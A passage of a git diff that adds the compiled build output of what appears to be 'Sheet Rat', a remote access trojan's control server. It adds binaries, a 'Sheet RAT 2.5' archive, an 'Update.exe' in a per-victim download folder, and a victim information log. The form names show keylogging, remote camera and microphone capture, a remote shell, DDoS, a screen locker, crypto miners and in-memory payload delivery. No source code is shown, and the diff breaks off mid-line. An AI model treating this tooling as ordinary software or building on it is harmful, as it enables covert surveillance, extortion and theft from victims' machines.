a/Server/bin/Debug/Users/yoOSmNhg/Download/Update.exe b/Server/bin/Debug/Users/yoOSmNhg/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/yoOSmNhg/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/zqvF91/Info_IS5hYP_DkkrA8.txt b/Server/bin/Debug/Users/zqvF91/Info_IS5hYP_DkkrA8.txt new file mode 100644 index 0000000..de54cf5 --- /dev/null +++ b/Server/bin/Debug/Users/zqvF91/Info_IS5hYP_DkkrA8.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 42.41.41.41 +HWID: zqvF91 +User: IS5hYP +MachineName: DkkrA8 +Computer: ICvrQV +Camera: i0TmA5 +Cpu: 5ZO23Y @ 2 +Gpu: vy4n7i +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: ZrfBIa +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: tBAQGd diff --git a/Server/bin/Debug/Vestris.ResourceLib.dll b/Server/bin/Debug/Vestris.ResourceLib.dll new file mode 100644 index 0000000..7f327db Binary files /dev/null and b/Server/bin/Debug/Vestris.ResourceLib.dll differ diff --git a/Server/bin/Debug/cGeoIp.dll b/Server/bin/Debug/cGeoIp.dll new file mode 100644 index 0000000..1d2a462 Binary files /dev/null and b/Server/bin/Debug/cGeoIp.dll differ diff --git a/Server/bin/Debug/dnlib.dll b/Server/bin/Debug/dnlib.dll new file mode 100644 index 0000000..170ffde Binary files /dev/null and b/Server/bin/Debug/dnlib.dll differ diff --git a/Server/bin/Debug/protobuf-net.dll b/Server/bin/Debug/protobuf-net.dll new file mode 100644 index 0000000..a50bb36 Binary files /dev/null and b/Server/bin/Debug/protobuf-net.dll differ diff --git a/Server/bin/Sheet RAT 2.5 RCE PROTECT for taskmgr.rar b/Server/bin/Sheet RAT 2.5 RCE PROTECT for taskmgr.rar new file mode 100644 index 0000000..029ed9f Binary files /dev/null and b/Server/bin/Sheet RAT 2.5 RCE PROTECT for taskmgr.rar differ diff --git a/Server/lib/GMap.NET.Core.dll b/Server/lib/GMap.NET.Core.dll new file mode 100644 index 0000000..729e81f Binary files /dev/null and b/Server/lib/GMap.NET.Core.dll differ diff --git a/Server/lib/GMap.NET.WindowsForms.dll b/Server/lib/GMap.NET.WindowsForms.dll new file mode 100644 index 0000000..ace6af2 Binary files /dev/null and b/Server/lib/GMap.NET.WindowsForms.dll differ diff --git a/Server/lib/IconExtractor.dll b/Server/lib/IconExtractor.dll new file mode 100644 index 0000000..d4fb497 Binary files /dev/null and b/Server/lib/IconExtractor.dll differ diff --git a/Server/lib/Ionic.Zip.dll b/Server/lib/Ionic.Zip.dll new file mode 100644 index 0000000..95fa928 Binary files /dev/null and b/Server/lib/Ionic.Zip.dll differ diff --git a/Server/lib/MetroFramework.dll b/Server/lib/MetroFramework.dll new file mode 100644 index 0000000..ebffc7e Binary files /dev/null and b/Server/lib/MetroFramework.dll differ diff --git a/Server/lib/NAudio.dll b/Server/lib/NAudio.dll new file mode 100644 index 0000000..553425e Binary files /dev/null and b/Server/lib/NAudio.dll differ diff --git a/Server/lib/Newtonsoft.Json.dll b/Server/lib/Newtonsoft.Json.dll new file mode 100644 index 0000000..341d08f Binary files /dev/null and b/Server/lib/Newtonsoft.Json.dll differ diff --git a/Server/lib/Vestris.ResourceLib.dll b/Server/lib/Vestris.ResourceLib.dll new file mode 100644 index 0000000..7f327db Binary files /dev/null and b/Server/lib/Vestris.ResourceLib.dll differ diff --git a/Server/lib/cGeoIp.dll b/Server/lib/cGeoIp.dll new file mode 100644 index 0000000..1d2a462 Binary files /dev/null and b/Server/lib/cGeoIp.dll differ diff --git a/Server/lib/dnlib.dll b/Server/lib/dnlib.dll new file mode 100644 index 0000000..170ffde Binary files /dev/null and b/Server/lib/dnlib.dll differ diff --git a/Server/lib/protobuf-net.dll b/Server/lib/protobuf-net.dll new file mode 100644 index 0000000..a50bb36 Binary files /dev/null and b/Server/lib/protobuf-net.dll differ diff --git a/Server/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttribute.cs b/Server/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttribute.cs new file mode 100644 index 0000000..e140e64 --- /dev/null +++ b/Server/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttribute.cs @@ -0,0 +1,2 @@ +// +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.2", FrameworkDisplayName = "")] diff --git a/Server/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs b/Server/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs new file mode 100644 index 0000000..fe05abf --- /dev/null +++ b/Server/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs @@ -0,0 +1,5 @@ +// +using System; +using System.Windows.Forms; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.2", FrameworkDisplayName = ".NET Framework 4.6.2")] diff --git a/Server/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/Server/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..05ac227 Binary files /dev/null and b/Server/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/Server/obj/Debug/Server.Form1.resources b/Server/obj/Debug/Server.Form1.resources new file mode 100644 index 0000000..f3e9313 Binary files /dev/null and b/Server/obj/Debug/Server.Form1.resources differ diff --git a/Server/obj/Debug/Server.Forms.ComboBoxCustom.resources b/Server/obj/Debug/Server.Forms.ComboBoxCustom.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.ComboBoxCustom.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormAddAutoRun.resources b/Server/obj/Debug/Server.Forms.FormAddAutoRun.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormAddAutoRun.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormAutoRun.resources b/Server/obj/Debug/Server.Forms.FormAutoRun.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormAutoRun.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormAutoTasksAdd.resources b/Server/obj/Debug/Server.Forms.FormAutoTasksAdd.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormAutoTasksAdd.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormChat.resources b/Server/obj/Debug/Server.Forms.FormChat.resources new file mode 100644 index 0000000..c951836 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormChat.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormClipboard.resources b/Server/obj/Debug/Server.Forms.FormClipboard.resources new file mode 100644 index 0000000..c951836 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormClipboard.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormDDOS.resources b/Server/obj/Debug/Server.Forms.FormDDOS.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormDDOS.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormFileManager.resources b/Server/obj/Debug/Server.Forms.FormFileManager.resources new file mode 100644 index 0000000..7b550a5 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormFileManager.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormFreendConnect.resources b/Server/obj/Debug/Server.Forms.FormFreendConnect.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormFreendConnect.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormFun.resources b/Server/obj/Debug/Server.Forms.FormFun.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormFun.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormKeyLogger.resources b/Server/obj/Debug/Server.Forms.FormKeyLogger.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormKeyLogger.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormMap.resources b/Server/obj/Debug/Server.Forms.FormMap.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormMap.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormMessage.resources b/Server/obj/Debug/Server.Forms.FormMessage.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormMessage.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormMinerEtc.resources b/Server/obj/Debug/Server.Forms.FormMinerEtc.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormMinerEtc.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormMinerXmr.resources b/Server/obj/Debug/Server.Forms.FormMinerXmr.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormMinerXmr.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormNetStat.resources b/Server/obj/Debug/Server.Forms.FormNetStat.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormNetStat.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormProgressBar.resources b/Server/obj/Debug/Server.Forms.FormProgressBar.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormProgressBar.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormRegValueEditBinary.resources b/Server/obj/Debug/Server.Forms.FormRegValueEditBinary.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormRegValueEditBinary.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormRegValueEditMultiString.resources b/Server/obj/Debug/Server.Forms.FormRegValueEditMultiString.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormRegValueEditMultiString.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormRegValueEditString.resources b/Server/obj/Debug/Server.Forms.FormRegValueEditString.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormRegValueEditString.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormRegValueEditWord.resources b/Server/obj/Debug/Server.Forms.FormRegValueEditWord.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormRegValueEditWord.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormRegedit.resources b/Server/obj/Debug/Server.Forms.FormRegedit.resources new file mode 100644 index 0000000..eb3e6f1 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormRegedit.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormRemoteCamera.resources b/Server/obj/Debug/Server.Forms.FormRemoteCamera.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormRemoteCamera.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormRemoteDesktop.resources b/Server/obj/Debug/Server.Forms.FormRemoteDesktop.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormRemoteDesktop.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormRemoteMicrophone.resources b/Server/obj/Debug/Server.Forms.FormRemoteMicrophone.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormRemoteMicrophone.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormReverseProxy.resources b/Server/obj/Debug/Server.Forms.FormReverseProxy.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormReverseProxy.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormSendInMemory.resources b/Server/obj/Debug/Server.Forms.FormSendInMemory.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormSendInMemory.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormSendInMemoryLink.resources b/Server/obj/Debug/Server.Forms.FormSendInMemoryLink.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormSendInMemoryLink.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormService.resources b/Server/obj/Debug/Server.Forms.FormService.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormService.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormShell.resources b/Server/obj/Debug/Server.Forms.FormShell.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormShell.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormSpeakBot.resources b/Server/obj/Debug/Server.Forms.FormSpeakBot.resources new file mode 100644 index 0000000..c951836 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormSpeakBot.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormTaskMgr.resources b/Server/obj/Debug/Server.Forms.FormTaskMgr.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormTaskMgr.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormTaskScheduler.resources b/Server/obj/Debug/Server.Forms.FormTaskScheduler.resources new file mode 100644 index 0000000..53b9e10 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormTaskScheduler.resources differ diff --git a/Server/obj/Debug/Server.Forms.FormWinlocker.resources b/Server/obj/Debug/Server.Forms.FormWinlocker.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.FormWinlocker.resources differ diff --git a/Server/obj/Debug/Server.Forms.InputBoxCustom.resources b/Server/obj/Debug/Server.Forms.InputBoxCustom.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.InputBoxCustom.resources differ diff --git a/Server/obj/Debug/Server.Forms.Message.resources b/Server/obj/Debug/Server.Forms.Message.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Debug/Server.Forms.Message.resources differ diff --git a/Server/obj/Debug/Server.Helper.Notif.Notf.resources b/Server/obj/Debug/Server.Helper.Notif.Notf.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Debug/Server.Helper.Notif.Notf.resources differ diff --git a/Server/obj/Debug/Server.Properties.Resources.resources b/Server/obj/Debug/Server.Properties.Resources.resources new file mode 100644 index 0000000..950e46e Binary files /dev/null and b/Server/obj/Debug/Server.Properties.Resources.resources differ diff --git a/Server/obj/Debug/Server.csproj.AssemblyReference.cache b/Server/obj/Debug/Server.csproj.AssemblyReference.cache new file mode 100644 index 0000000..5a53fa7 Binary files /dev/null and b/Server/obj/Debug/Server.csproj.AssemblyReference.cache differ diff --git a/Server/obj/Debug/Server.csproj.CoreCompileInputs.cache b/Server/obj/Debug/Server.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..8538216 --- /dev/null +++ b/Server/obj/Debug/Server.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +854c892e4f832f695483e194021f85e870294d451214ae5cb3eb2eb8d34cad27 diff --git a/Server/obj/Debug/Server.csproj.FileListAbsolute.txt b/Server/obj/Debug/Server.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..f0afb69 --- /dev/null +++ b/Server/obj/Debug/Server.csproj.FileListAbsolute.txt @@ -0,0 +1,42 @@ +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.csproj.AssemblyReference.cache +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Form1.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.ComboBoxCustom.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormAddAutoRun.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormAutoRun.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormAutoTasksAdd.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormChat.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormClipboard.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormDDOS.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormFileManager.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormFreendConnect.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormFun.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormKeyLogger.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormMap.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormMessage.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormMinerEtc.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormMinerXmr.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormNetStat.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormProgressBar.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormRegedit.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormRegValueEditBinary.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormRegValueEditMultiString.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormRegValueEditString.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormRegValueEditWord.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormRemoteCamera.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormRemoteDesktop.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormRemoteMicrophone.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormReverseProxy.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormSendInMemory.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormSendInMemoryLink.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormService.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormShell.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormSpeakBot.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormTaskMgr.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormTaskScheduler.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.FormWinlocker.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.InputBoxCustom.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Forms.Message.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Helper.Notif.Notf.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.Properties.Resources.resources +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.csproj.GenerateResource.cache +C:\Users\Admin\Desktop\src\Server\obj\Debug\Server.csproj.CoreCompileInputs.cache diff --git a/Server/obj/Debug/Server.csproj.FilesWrittenAbsolute.txt b/Server/obj/Debug/Server.csproj.FilesWrittenAbsolute.txt new file mode 100644 index 0000000..8dea576 --- /dev/null +++ b/Server/obj/Debug/Server.csproj.FilesWrittenAbsolute.txt @@ -0,0 +1,55 @@ +/home/ubuntu/upload/Server/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttribute.cs +/home/ubuntu/upload/Server/obj/Debug/Server.Form1.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.ComboBoxCustom.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormAddAutoRun.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormAutoRun.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormAutoTasksAdd.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormChat.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormClipboard.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormDDOS.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormFileManager.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormFreendConnect.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormFun.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormKeyLogger.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormMap.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormMessage.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormMinerEtc.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormMinerXmr.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormNetStat.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormProgressBar.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormRegedit.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormRegValueEditBinary.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormRegValueEditMultiString.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormRegValueEditString.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormRegValueEditWord.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormRemoteCamera.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormRemoteDesktop.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormRemoteMicrophone.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormReverseProxy.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormSendInMemory.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormSendInMemoryLink.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormService.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormShell.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormSpeakBot.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormTaskMgr.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormTaskScheduler.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.FormWinlocker.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.InputBoxCustom.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Forms.Message.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Helper.Notif.Notf.resources +/home/ubuntu/upload/Server/obj/Debug/Server.Properties.Resources.resources +/home/ubuntu/upload/Server/bin/Debug/GMap.NET.Core.dll +/home/ubuntu/upload/Server/bin/Debug/GMap.NET.WindowsForms.dll +/home/ubuntu/upload/Server/bin/Debug/IconExtractor.dll +/home/ubuntu/upload/Server/bin/Debug/Ionic.Zip.dll +/home/ubuntu/upload/Server/bin/Debug/MetroFramework.dll +/home/ubuntu/upload/Server/bin/Debug/NAudio.dll +/home/ubuntu/upload/Server/bin/Debug/Newtonsoft.Json.dll +/home/ubuntu/upload/Server/bin/Debug/Vestris.ResourceLib.dll +/home/ubuntu/upload/Server/bin/Debug/cGeoIp.dll +/home/ubuntu/upload/Server/bin/Debug/dnlib.dll +/home/ubuntu/upload/Server/bin/Debug/protobuf-net.dll +/home/ubuntu/upload/Server/bin/Debug/Server.exe.mdb +/home/ubuntu/upload/Server/bin/Debug/Server.exe +/home/ubuntu/upload/Server/obj/Debug/Server.exe +/home/ubuntu/upload/Server/obj/Debug/Server.exe.mdb diff --git a/Server/obj/Debug/Server.csproj.GenerateResource.cache b/Server/obj/Debug/Server.csproj.GenerateResource.cache new file mode 100644 index 0000000..e90afe0 Binary files /dev/null and b/Server/obj/Debug/Server.csproj.GenerateResource.cache differ diff --git a/Server/obj/Debug/Server.exe b/Server/obj/Debug/Server.exe new file mode 100644 index 0000000..c4432a8 Binary files /dev/null and b/Server/obj/Debug/Server.exe differ diff --git a/Server/obj/Debug/Server.exe.mdb b/Server/obj/Debug/Server.exe.mdb new file mode 100644 index 0000000..3eef33d Binary files /dev/null and b/Server/obj/Debug/Server.exe.mdb differ diff --git a/Server/obj/Release/.NETFramework,Version=v4.6.2.AssemblyAttribute.cs b/Server/obj/Release/.NETFramework,Version=v4.6.2.AssemblyAttribute.cs new file mode 100644 index 0000000..e140e64 --- /dev/null +++ b/Server/obj/Release/.NETFramework,Version=v4.6.2.AssemblyAttribute.cs @@ -0,0 +1,2 @@ +// +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.2", FrameworkDisplayName = "")] diff --git a/Server/obj/Release/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs b/Server/obj/Release/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs new file mode 100644 index 0000000..393142f --- /dev/null +++ b/Server/obj/Release/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.2", FrameworkDisplayName = ".NET Framework 4.6.2")] diff --git a/Server/obj/Release/Server.Form1.resources b/Server/obj/Release/Server.Form1.resources new file mode 100644 index 0000000..f3e9313 Binary files /dev/null and b/Server/obj/Release/Server.Form1.resources differ diff --git a/Server/obj/Release/Server.Forms.ComboBoxCustom.resources b/Server/obj/Release/Server.Forms.ComboBoxCustom.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.ComboBoxCustom.resources differ diff --git a/Server/obj/Release/Server.Forms.FormAddAutoRun.resources b/Server/obj/Release/Server.Forms.FormAddAutoRun.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormAddAutoRun.resources differ diff --git a/Server/obj/Release/Server.Forms.FormAutoRun.resources b/Server/obj/Release/Server.Forms.FormAutoRun.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormAutoRun.resources differ diff --git a/Server/obj/Release/Server.Forms.FormAutoTasksAdd.resources b/Server/obj/Release/Server.Forms.FormAutoTasksAdd.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormAutoTasksAdd.resources differ diff --git a/Server/obj/Release/Server.Forms.FormChat.resources b/Server/obj/Release/Server.Forms.FormChat.resources new file mode 100644 index 0000000..c951836 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormChat.resources differ diff --git a/Server/obj/Release/Server.Forms.FormClipboard.resources b/Server/obj/Release/Server.Forms.FormClipboard.resources new file mode 100644 index 0000000..c951836 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormClipboard.resources differ diff --git a/Server/obj/Release/Server.Forms.FormDDOS.resources b/Server/obj/Release/Server.Forms.FormDDOS.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormDDOS.resources differ diff --git a/Server/obj/Release/Server.Forms.FormFileManager.resources b/Server/obj/Release/Server.Forms.FormFileManager.resources new file mode 100644 index 0000000..7b550a5 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormFileManager.resources differ diff --git a/Server/obj/Release/Server.Forms.FormFreendConnect.resources b/Server/obj/Release/Server.Forms.FormFreendConnect.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormFreendConnect.resources differ diff --git a/Server/obj/Release/Server.Forms.FormFun.resources b/Server/obj/Release/Server.Forms.FormFun.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormFun.resources differ diff --git a/Server/obj/Release/Server.Forms.FormKeyLogger.resources b/Server/obj/Release/Server.Forms.FormKeyLogger.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormKeyLogger.resources differ diff --git a/Server/obj/Release/Server.Forms.FormMap.resources b/Server/obj/Release/Server.Forms.FormMap.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormMap.resources differ diff --git a/Server/obj/Release/Server.Forms.FormMessage.resources b/Server/obj/Release/Server.Forms.FormMessage.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormMessage.resources differ diff --git a/Server/obj/Release/Server.Forms.FormMinerEtc.resources b/Server/obj/Release/Server.Forms.FormMinerEtc.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormMinerEtc.resources differ diff --git a/Server/obj/Release/Server.Forms.FormMinerXmr.resources b/Server/obj/Release/Server.Forms.FormMinerXmr.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormMinerXmr.resources differ diff --git a/Server/obj/Release/Server.Forms.FormNetStat.resources b/Server/obj/Release/Server.Forms.FormNetStat.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormNetStat.resources differ diff --git a/Server/obj/Release/Server.Forms.FormProgressBar.resources b/Server/obj/Release/Server.Forms.FormProgressBar.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and 